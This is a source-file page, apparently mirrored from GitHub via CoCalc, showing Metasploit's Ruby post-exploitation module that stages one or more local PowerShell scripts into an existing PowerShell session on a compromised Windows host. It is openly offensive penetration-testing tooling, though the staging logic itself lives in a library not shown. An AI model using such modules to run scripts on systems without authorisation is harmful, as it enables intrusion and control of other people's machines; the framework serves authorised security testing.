Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/powershell/load_script.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::Powershell
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Load Scripts Into PowerShell Session',
14
'Description' => %q{
15
This module will download and execute one or more PowerShell scripts
16
over a present powershell session.
17
Setting VERBOSE to true will show the stager results.
18
},
19
'License' => MSF_LICENSE,
20
'Platform' => ['win'],
21
'SessionTypes' => ['powershell'],
22
'Author' => [
23
'Ben Turner benpturner[at]yahoo.com',
24
'Dave Hardy davehardy20[at]gmail.com'
25
],
26
'Notes' => {
27
'Stability' => [CRASH_SAFE],
28
'SideEffects' => [],
29
'Reliability' => []
30
}
31
)
32
)
33
34
register_options(
35
[
36
OptPath.new('SCRIPT', [false, 'Path to the local PS script', ::File.join(Msf::Config.data_directory, 'post', 'powershell', 'msflag.ps1') ]),
37
OptPath.new('FOLDER', [false, 'Path to a local folder of PS scripts'])
38
]
39
)
40
end
41
42
def run
43
if datastore['SCRIPT']
44
stage_psh_env(datastore['SCRIPT'])
45
end
46
if datastore['FOLDER']
47
files = ::Dir.entries(datastore['FOLDER'])
48
files.reject! { |u| %w[. ..].include?(u) }
49
files.each { |script| stage_psh_env(datastore['FOLDER'] + script) }
50
end
51
end
52
end
53
54